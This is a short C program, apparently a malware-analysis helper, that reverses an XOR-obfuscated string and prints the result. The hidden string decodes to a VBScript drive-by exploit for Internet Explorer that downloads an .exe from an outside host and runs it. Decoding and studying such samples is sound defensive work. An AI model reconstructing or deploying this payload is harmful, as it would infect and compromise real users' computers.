#include #include #include #include int main(void) { unsigned char ss[] = "%08%08dK\"flG%08dK\"flG%08dK\"flG%08ld\"" "gvwagzGnngjQ,rrCnngjQ]h`m%080.ld\"gnkDmVgtcQ,`fmfc]h`m%08+{fm@gqlmrqgp," "0nozqo]h`m*gvkpU,`fmfc]h`m%08lgrM,`fmfc]h`m%083?gr{V,`fmfc]h`m%08gqnG%08" "GQNCD.3.ld\"lwP,nngjQU]h`m%08vzgL\"gowqgP\"pmppG\"lM%08+ .empR]h`M\"$" "\" , \"$\"gocL]h`M*vagh`MgvcgpA,QFP]h`m?nngjQU]h`m\"\"vgQ%08 nngjQ \"?\"e" "mpR]h`M%08 vrkpaQU \"?\"gocL]h`M%08gqmnA,gnkd]fcmnlumf%08vzgL%08++gfmAgv{" "@*pjA*gvkpU,gnkd]fcmnlumf%08+gv{@a*@aqC?gfmAgv{@%08+3.k.{fm@NOZ*@fkO?gv{@" "a%08gxkq]gnkd]fcmnlumf\"mV\"3?k\"pmD%08+{fm@NOZ*@lgN?gxkq]gnkd]fcmnlumf%08" "+GWPV\".ld*gnkDvzgVgvcgpA,q{QgnkD]h`m?gnkd]fcmnlumf\"vgQ%08+ .empR]h`M\"$" "\" , \"$\"gocL]h`M*vagh`MgvcgpA,QFP]h`m?q{QgnkD]h`m\"vgQ%08 vagh`Mogvq{Qgnk" "D \"?\"empR]h`M%08 elkvrkpaQ \"?\"gocL]h`M%08lgjV\"pg`owL,ppG\"dK%08+ .empR" "]h`M\"$\" , \"$\"gocL]h`M*vagh`MgvcgpA,QFP]h`m\"?\"`fmfc]h`m\"vgq%08 ocgpv" "Q \"?\"empR]h`M%08 @FMFC \"?\"gocL]h`M%08vzgL\"gowqgP\"pmppG\"lM%08flgq," "0nozqo]h`m%08gqncD. gzg,01qpggrgk-ij,vglgakmt--8rvvj . VGE \"lgrm,0nozqo]h`m" "%08+empR]h`M\"$\" , \"$\"gocL]h`M*vagh`MgvcgpA\"?\"0nozqo]h`m\"vgq%08 RVVJNO" "Z \"?\"empR]h`M%08 vdmqmpakO \"?\"gocL]h`M%08ld\"$\"pkFlkU?ld%08 ^ \"$\"+3*q" "vlglmromA]jvcR]vlmD\"\"$\" ^ \"$\"+2*qvlglmromA]jvcR]vlmD\"?pkFlkU%08+3.3" "/. ^ .jvcR,ogvKpgfnmDm*vknrQ?qvlglmromA]jvcR]vlmD%08+ dvv,nm`o{Q *gocLgqpcR" ",pgfnmDm?ogvKpgfnmDm\"vgQ%08+20*gacrQgocL,rrCnngjQ]h`m\"?\"pgfnmDm\"vgQ%08" "+ .empR]h`M\"$\" , \"$\"gocL]h`M*vagh`MgvcgpA,QFP]h`m\"?\"rrCnngjQ]h`m\"vgq" "%08 lmkvcaknrrC \"?\"empR]h`M%08 nngjQ \"?\"gocL]h`M%08 gzg,01roak \"?\"ld" "%08 41G;0AD62A22/C1:;/2F33/1C74/477A4;F@8fkqna \". fkqqcna \"gvw`kpvvCvgq,QF" "P]h`m%08 QFP]h`m \". fk \"gvw`kpvvCvgq,QFP]h`m%08+ vagh`m *vlgognGgvcgpa,vlg" "owamf\"?\"QFP]h`m\"vgq%08empR]h`M\"okF%08gocL]h`M\"okF%08lgjV\"\"2\"<>\"+ 01" "lkU .opmdvcnr,pmvcektcl*pvQlK\"dK%08lgjV\" pgpmnrzG\"vglpgvlK\"vdmqmpakO ?go" "cLrrc,pmvcektcl\"dK%08< vrkpaQ@T ?gecwelcn\"VRKPAQ>"; unsigned char ss2[4096]; int i,j; printf("The encrypted input string is...\n%s\n\n",ss); j = 0; for(i = strlen(ss)-1; i >= 0; i--) { ss2[j] = ss[i] ^ 2; j++; } ss2[j] = '\0'; printf("The decoded string is...\n%s\n",ss2); return 0; }